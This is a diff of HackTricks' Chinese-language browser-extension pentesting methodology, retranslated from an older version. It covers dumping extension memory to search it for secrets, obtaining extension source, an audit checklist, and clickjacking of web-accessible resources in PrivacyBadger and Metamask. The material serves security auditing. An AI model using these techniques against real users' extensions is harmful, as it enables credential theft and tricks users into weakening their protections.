的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。 -在编写新扩展时,应优先选择使用 promises 而不是回调。关于回调的使用,`sendResponse()` 函数仅在直接在同步上下文中执行,或者如果事件处理程序指示异步操作通过返回`true`时才被视为有效。如果没有处理程序返回`true`,或者`sendResponse()`函数从内存中移除(被垃圾回收),则与`sendMessage()`函数关联的回调将默认触发。 +在创建新扩展时,应该优先使用承诺而不是回调。关于回调的使用,只有在同步上下文中直接执行 `sendResponse()` 函数,或者事件处理程序通过返回 `true` 表示异步操作时,`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`,或者 `sendResponse()` 函数从内存中移除(被垃圾回收),则与 `sendMessage()` 函数关联的回调将默认被触发。 ## 内存/代码/剪贴板中的敏感信息 -如果浏览器扩展在其内存中存储**敏感信息**,这些信息可能会被**转储**(特别是在 Windows 机器上),并且可以对这些信息进行**搜索**。 +如果浏览器扩展在**其内存中存储敏感信息**,则可能会被**转储**(特别是在 Windows 机器上)并**搜索**这些信息。 -因此,浏览器扩展的内存**不应被视为安全**,**敏感信息**(如凭据或助记词短语)**不应该被存储**。 +因此,浏览器扩展的内存**不应被视为安全**,而**敏感信息**如凭据或助记短语**不应存储**。 -当然,**不要将敏感信息放在代码中**,因为这将是**公开**的。 +当然,**不要在代码中放置敏感信息**,因为它将是**公开的**。 -要从浏览器中转储内存,可以**转储进程内存**,或者转到浏览器扩展的**设置**,点击**`检查弹出窗口`** -> 在**`内存`**部分 -> **`拍摄快照`**,然后使用**`CTRL+F`**在快照中搜索敏感信息。 +要从浏览器转储内存,可以**转储进程内存**,或者进入浏览器扩展的**设置**,点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**,然后使用**`CTRL+F`**在快照中搜索敏感信息。 -此外,高度敏感信息如助记密钥或密码**不应允许复制到剪贴板**(或者至少在几秒钟内从剪贴板中删除),因为监视剪贴板的进程将能够获取它们。 +此外,像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**(或者至少在几秒钟内将其从剪贴板中移除),因为这样监控剪贴板的进程将能够获取它们。 ## 在浏览器中加载扩展 -1. **下载**浏览器扩展并解压缩 +1. **下载**浏览器扩展并解压 2. 转到**`chrome://extensions/`**并**启用**`开发者模式` 3. 点击**`加载已解压的扩展`**按钮 -在**Firefox**中,您可以转到**`about:debugging#/runtime/this-firefox`**,然后点击**`加载临时附加组件`**按钮。 +在**Firefox**中,转到**`about:debugging#/runtime/this-firefox`**并点击**`加载临时附加组件`**按钮。 -## 从商店获取扩展的源代码 +## 从商店获取源代码 -可以通过各种方法获取 Chrome 扩展的源代码。以下是每个选项的详细说明和说明。 +Chrome 扩展的源代码可以通过多种方法获得。以下是每个选项的详细说明和指令。 -### 通过命令行下载扩展的 ZIP 文件 +### 通过命令行将扩展下载为 ZIP -可以使用命令行将 Chrome 扩展的源代码下载为 ZIP 文件。这涉及使用`curl`从特定 URL 获取 ZIP 文件,然后将 ZIP 文件的内容提取到目录中。以下是步骤: +Chrome 扩展的源代码可以通过命令行下载为 ZIP 文件。这涉及使用 `curl` 从特定 URL 获取 ZIP 文件,然后将 ZIP 文件的内容提取到一个目录中。以下是步骤: -1. 将`"extension_id"`替换为扩展的实际 ID。 +1. 将 `"extension_id"` 替换为扩展的实际 ID。 2. 执行以下命令: ```bash extension_id=your_extension_id # Replace with the actual extension ID @@ -577,81 +580,81 @@ unzip -d "$extension_id-source" "$extension_id.zip" ### 使用 CRX Viewer 扩展 -另一种方便的方法是使用 Chrome Extension Source Viewer,这是一个开源项目。可以从[Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)安装。查看查看器的源代码可以在其[GitHub存储库](https://github.com/Rob--W/crxviewer)中找到。 +另一种方便的方法是使用 Chrome 扩展源查看器,这是一个开源项目。可以从 [Chrome 网上应用店](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub 仓库](https://github.com/Rob--W/crxviewer) 中找到。 -### 查看本地安装扩展的源代码 +### 查看本地安装的扩展源代码 -也可以检查本地安装的Chrome扩展。以下是方法: +本地安装的 Chrome 扩展也可以进行检查。方法如下: -1. 访问Chrome本地配置文件目录,访问`chrome://version/`并找到“Profile Path”字段。 -2. 转到配置文件目录中的`Extensions/`子文件夹。 -3. 此文件夹包含所有已安装的扩展,通常以可读格式包含其源代码。 +1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。 +2. 在配置文件目录中导航到 `Extensions/` 子文件夹。 +3. 此文件夹包含所有已安装的扩展,通常其源代码以可读格式存放。 -要识别扩展,可以将它们的ID映射到名称: +要识别扩展,您可以将其 ID 映射到名称: -* 在`about:extensions`页面上启用开发者模式,以查看每个扩展的ID。 -* 在每个扩展的文件夹中,`manifest.json`文件包含一个可读的`name`字段,可帮助您识别扩展。 +* 在 `about:extensions` 页面上启用开发者模式,以查看每个扩展的 ID。 +* 在每个扩展的文件夹中,`manifest.json` 文件包含一个可读的 `name` 字段,帮助您识别扩展。 -### 使用文件压缩工具或解包工具 +### 使用文件归档程序或解压缩工具 -前往Chrome Web Store并下载扩展。文件将具有`.crx`扩展名。将文件扩展名从`.crx`更改为`.zip`。使用任何文件压缩工具(如WinRAR、7-Zip等)来提取ZIP文件的内容。 +前往 Chrome 网上应用店并下载扩展。文件将具有 `.crx` 扩展名。将文件扩展名从 `.crx` 更改为 `.zip`。使用任何文件归档程序(如 WinRAR、7-Zip 等)提取 ZIP 文件的内容。 -### 在Chrome中使用开发者模式 +### 在 Chrome 中使用开发者模式 -打开Chrome并转到`chrome://extensions/`。在右上角启用“开发者模式”。单击“加载已解压的扩展...”。导航到扩展的目录。这不会下载源代码,但对于查看和修改已下载或开发的扩展的代码很有用。 +打开 Chrome 并转到 `chrome://extensions/`。在右上角启用“开发者模式”。点击“加载已解压的扩展...”。导航到您的扩展目录。这不会下载源代码,但对于查看和修改已下载或开发的扩展的代码非常有用。 ## 安全审计检查清单 -尽管浏览器扩展具有**有限的攻击面**,但其中一些可能包含**漏洞**或**潜在的加固改进**。以下是最常见的: +尽管浏览器扩展具有 **有限的攻击面**,但其中一些可能包含 **漏洞** 或 **潜在的加固改进**。以下是最常见的: -* [ ] **尽可能限制**请求的**`权限`** -* [ ] **尽可能限制**`host_permissions`** -* 使用**强大的** **`content_security_policy`** -* **尽可能限制**`externally_connectable`,如果不需要且可能,不要默认留下,指定**`{}`** -* 如果此处提到**易受XSS攻击或接管**的URL,则攻击者将能够**直接向后台脚本发送消息**。非常强大的绕过方式。 -* **尽可能限制**`web_accessible_resources`,如果可能,甚至为空。 -* 如果**`web_accessible_resources`**不是空的,请检查[**ClickJacking**](browext-clickjacking.md) -* 如果从**扩展**到**网页**有任何**通信**,请检查由通信引起的[**XSS漏洞**](browext-xss-example.md)。 -* 如果使用Post Messages,请检查[**Post Message漏洞**](../postmessage-vulnerabilities/)**。** -* 如果**内容脚本访问DOM详细信息**,请检查它们是否通过网页**修改**而引入XSS -* 如果此通信还涉及**内容脚本 -> 后台脚本通信**,请特别强调 -* **敏感信息不应存储**在浏览器扩展**代码**中 -* **敏感信息不应存储**在浏览器扩展**内存**中 +* [ ] **尽可能限制** 请求的 **`permissions`** +* [ ] **尽可能限制** **`host_permissions`** +* [ ] 使用 **强** 的 **`content_security_policy`** +* [ ] **尽可能限制** **`externally_connectable`**,如果不需要且可能,请不要默认保留,指定 **`{}`** +* [ ] 如果提到 **URL 易受 XSS 或接管攻击**,攻击者将能够 **直接向后台脚本发送消息**。非常强大的绕过方式。 +* [ ] **尽可能限制** **`web_accessible_resources`**,如果可能,甚至可以为空。 +* [ ] 如果 **`web_accessible_resources`** 不是空的,请检查 [**ClickJacking**](browext-clickjacking.md) +* [ ] 如果有任何 **通信** 从 **扩展** 到 **网页**,请 [**检查 XSS**](browext-xss-example.md) **漏洞**。 +* [ ] 如果使用了 Post Messages,请检查 [**Post Message 漏洞**](../postmessage-vulnerabilities/)**.** +* [ ] 如果 **内容脚本访问 DOM 细节**,请检查它们是否在被网页 **修改** 时 **引入 XSS**。 +* [ ] 如果此通信也涉及 **内容脚本 -> 后台脚本通信**,请特别强调。 +* [ ] **敏感信息不应存储** 在浏览器扩展 **代码** 中。 +* [ ] **敏感信息不应存储** 在浏览器扩展 **内存** 中。 ## 工具 ### [**Tarnish**](https://thehackerblog.com/tarnish/) -* 从提供的Chrome Webstore链接中提取任何Chrome扩展。 -* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单显示扩展清单的JSON格式化版本。 -* **指纹分析**:检测[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)并自动生成Chrome扩展指纹识别JavaScript。 -* **潜在的Clickjacking分析**:检测具有设置[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)指令的扩展HTML页面。根据页面用途,这些页面可能容易受到点击劫持攻击。 -* **权限警告查看器**:显示用户尝试安装扩展时将显示的所有Chrome权限提示警告列表。 -* **危险功能**:显示可能被攻击者利用的危险功能位置(例如innerHTML、chrome.tabs.executeScript等功能)。 -* **入口点**:显示扩展接受用户/外部输入的位置。这对于了解扩展的表面积并寻找潜在的发送恶意数据到扩展的点很有用。 -* 生成的警报包括以下内容: -* 引发警报的相关代码片段和行。 +* 从提供的 Chrome 网上应用店链接提取任何 Chrome 扩展。 +* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单地显示扩展的 manifest 的 JSON 美化版本。 +* **指纹分析**:检测 [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 并自动生成 Chrome 扩展指纹 JavaScript。 +* **潜在 Clickjacking 分析**:检测设置了 [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 指令的扩展 HTML 页面。这些页面可能易受 Clickjacking 攻击,具体取决于页面的目的。 +* **权限警告查看器**:显示用户尝试安装扩展时将显示的所有 Chrome 权限提示警告的列表。 +* **危险函数**:显示可能被攻击者利用的危险函数的位置(例如 innerHTML、chrome.tabs.executeScript 等函数)。 +* **入口点**:显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。 +* 危险函数和入口点扫描器生成的警报包含以下内容: +* 相关代码片段和导致警报的行。 * 问题描述。 -* “查看文件”按钮,查看包含代码的完整源文件。 +* “查看文件”按钮以查看包含代码的完整源文件。 * 警报文件的路径。 -* 警报文件的完整Chrome扩展URI。 -* 文件类型,如后台页面脚本、内容脚本、浏览器操作等。 -* 如果易受攻击的行在JavaScript文件中,则包含所有包含此行的页面的路径以及这些页面的类型和[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)状态。 -* **内容安全策略(CSP)分析器和绕过检查器**:这将指出您的扩展CSP中的弱点,并且还将阐明由于白名单CDN等原因绕过CSP的潜在方法。 -* **已知的易受攻击库**:使用[Retire.js](https://retirejs.github.io/retire.js/)检查已知易受攻击的JavaScript库的使用情况。 +* 警报文件的完整 Chrome 扩展 URI。 +* 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。 +* 如果易受攻击的行在 JavaScript 文件中,包含所有包含该行的页面的路径以及这些页面的类型和 [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 状态。 +* **内容安全策略 (CSP) 分析器和绕过检查器**:这将指出扩展的 CSP 中的弱点,并将揭示由于白名单 CDN 等可能绕过 CSP 的任何潜在方式。 +* **已知漏洞库**:使用 [Retire.js](https://retirejs.github.io/retire.js/) 检查是否使用了已知漏洞的 JavaScript 库。 * 下载扩展和格式化版本。 * 下载原始扩展。 -* 下载扩展的美化版本(自动美化的HTML和JavaScript)。 -* 自动缓存扫描结果,第一次运行扩展扫描将花费大量时间。但第二次,假设扩展未更新,由于结果被缓存,几乎瞬间完成。 -* 可链接的报告URL,轻松地将其他人链接到由Tarnish生成的扩展报告。 +* 下载美化版本的扩展(自动美化的 HTML 和 JavaScript)。 +* 自动缓存扫描结果,第一次运行扩展扫描将花费相当长的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果被缓存。 +* 可链接的报告 URL,轻松将其他人链接到 tarnish 生成的扩展报告。 ### [Neto](https://github.com/elevenpaths/neto) -Neto项目是一个Python 3包,旨在分析和揭示浏览器插件和扩展的隐藏功能,适用于Firefox和Chrome等知名浏览器。它自动化了解压打包文件以从扩展的相关资源中提取这些功能的过程,如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。 +Neto 项目是一个 Python 3 包,旨在分析和揭示知名浏览器(如 Firefox 和 Chrome)浏览器插件和扩展的隐藏功能。它自动解压打包文件的过程,以从扩展中的相关资源(如 `manifest.json`、本地化文件夹或 JavaScript 和 HTML 源文件)中提取这些功能。 -## 参考资料 +## 参考文献 -* **感谢**[**@naivenom**](https://twitter.com/naivenom)**对本方法论的帮助** +* **感谢** [**@naivenom**](https://twitter.com/naivenom) **对本方法的帮助** * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) * [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) * [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) @@ -662,13 +665,17 @@ Neto项目是一个Python 3包,旨在分析和揭示浏览器插件和扩展 * [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) * [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 031463fba..8e45a1efd 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -1,54 +1,55 @@ -# BrowExt - 点击劫持 +# BrowExt - ClickJacking + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## 基本信息 -本页面将利用浏览器扩展中的点击劫持漏洞。\ -如果您不知道什么是点击劫持,请查看: +本页面将利用浏览器扩展中的 ClickJacking 漏洞。\ +如果你不知道 ClickJacking 是什么,请查看: {% content-ref url="../clickjacking.md" %} [clickjacking.md](../clickjacking.md) {% endcontent-ref %} -扩展包含文件**`manifest.json`**,而该JSON文件具有一个字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)对此的解释: +扩展包含文件 **`manifest.json`**,该 JSON 文件有一个字段 `web_accessible_resources`。以下是 [Chrome 文档](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 对此的说明: -> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用,可以使用**`extension.getURL方法`**生成。经过白名单授权的资源将使用适当的CORS标头提供,因此可以通过诸如XHR之类的机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> 这些资源将通过 URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用,可以通过 **`extension.getURL method`** 生成。允许的资源会带有适当的 CORS 头,因此可以通过 XHR 等机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -浏览器扩展中的**`web_accessible_resources`**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能: +浏览器扩展中的 **`web_accessible_resources`** 不仅可以通过网络访问;它们还具有扩展的固有权限。这意味着它们能够: -- 更改扩展的状态 -- 加载其他资源 -- 在一定程度上与浏览器交互 +* 更改扩展的状态 +* 加载额外的资源 +* 在一定程度上与浏览器交互 -然而,这个功能存在安全风险。如果**`web_accessible_resources`**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的无意用户可能会意外激活此嵌入式资源。根据扩展资源的权限和功能,此激活可能导致意想不到的后果。 +然而,这一特性带来了安全风险。如果 **`web_accessible_resources`** 中的某个资源具有任何重要功能,攻击者可能会将该资源嵌入到外部网页中。毫不知情的用户访问此页面时,可能会无意中激活此嵌入的资源。这种激活可能会导致意想不到的后果,具体取决于扩展资源的权限和能力。 -## PrivacyBadger示例 +## PrivacyBadger 示例 -在扩展程序PrivacyBadger中,发现了一个与`skin/`目录声明为`web_accessible_resources`相关的漏洞,声明方式如下(查看原始[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +在扩展 PrivacyBadger 中,发现了一个与 `skin/` 目录被声明为 `web_accessible_resources` 相关的漏洞,具体如下(查看原始 [博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)): ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -这种配置导致了潜在的安全问题。具体来说,`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能被嵌入到一个 `iframe` 中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危及用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示:[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。 +此配置导致了潜在的安全问题。具体来说,`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可以嵌入在 `iframe` 中。此嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) 提供的 ClickJacking 视频示例中查看。 -为了解决这个漏洞,实施了一个简单直接的解决方案:从 `web_accessible_resources` 列表中移除 `/skin/*`。这一变更有效地通过确保 `skin/` 目录的内容不能通过 web 可访问资源访问或操纵来减轻了风险。 +为了解决此漏洞,实施了一个简单的解决方案:从 `web_accessible_resources` 列表中移除 `/skin/*`。此更改有效地降低了风险,确保 `skin/` 目录的内容无法通过网络可访问资源进行访问或操控。 -修复方法很简单:**从 `web_accessible_resources` 中移除 `/skin/*`**。 +修复很简单:**从 `web_accessible_resources` 中移除 `/skin/*`**。 ### PoC ```html @@ -89,37 +90,38 @@ click me ``` -## Metamask Example +## Metamask 示例 -[**关于Metamask中ClickJacking的博文可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下,Metamask通过检查用于访问它的协议是否为**`https:`**或**`http:`**(例如不是**`chrome:`**)来修复了漏洞: +一个关于 Metamask 中 ClickJacking 的 [**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下,Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**(而不是 **`chrome:`** 例如)来修复该漏洞:
-Metamask扩展中的**另一个ClickJacking漏洞**是用户可以在页面可疑被钓鱼时**点击以将其加入白名单**,因为存在`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面容易受到Clickjacking攻击,攻击者可以滥用它显示正常内容,使受害者在不知情的情况下点击将其加入白名单,然后返回到被加入白名单的钓鱼页面。 +**在 Metamask 扩展中修复的另一个 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击白名单**,因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常的内容,使受害者在未注意的情况下点击以将其列入白名单,然后返回到将被列入白名单的钓鱼页面。 -## Steam Inventory Helper Example +## Steam Inventory Helper 示例 -查看以下页面,了解浏览器扩展中的**XSS**是如何与**ClickJacking**漏洞链接在一起的: +查看以下页面以检查浏览器扩展中的 **XSS** 如何与 **ClickJacking** 漏洞链式结合: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) {% endcontent-ref %} -## References +## 参考文献 * [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) * [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index db031eb38..a53aa6f54 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,38 +1,39 @@ -# BrowExt - 权限和主机权限 +# BrowExt - permissions & host\_permissions + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## 基本信息 ### **`permissions`** -权限在扩展的**`manifest.json`**文件中使用**`permissions`**属性进行定义,允许访问几乎任何浏览器可以访问的内容(如Cookies或物理存储): +权限在扩展的 **`manifest.json`** 文件中使用 **`permissions`** 属性定义,允许访问浏览器可以访问的几乎所有内容(Cookies 或物理存储): -上述清单声明扩展需要`storage`权限。这意味着它可以使用[存储API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)来持久存储数据。与给用户一定程度控制权的cookies或`localStorage` API不同,**扩展存储通常只能通过卸载扩展来清除**。 +前面的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [存储 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久存储其数据。与给用户一定控制权的 cookies 或 `localStorage` API 不同,**扩展存储通常只能通过卸载扩展来清除**。 -扩展将在其**`manifest.json`**文件中请求所需的权限,安装扩展后,您可以**随时在浏览器中检查其权限**,如下图所示: +扩展将请求其 **`manifest.json`** 文件中指示的权限。安装扩展后,您可以 **随时在浏览器中检查其权限**,如图所示:
-您可以在此处找到[**Chromium浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions),以及[**Firefox扩展的完整列表**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** +您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** ### `host_permissions` 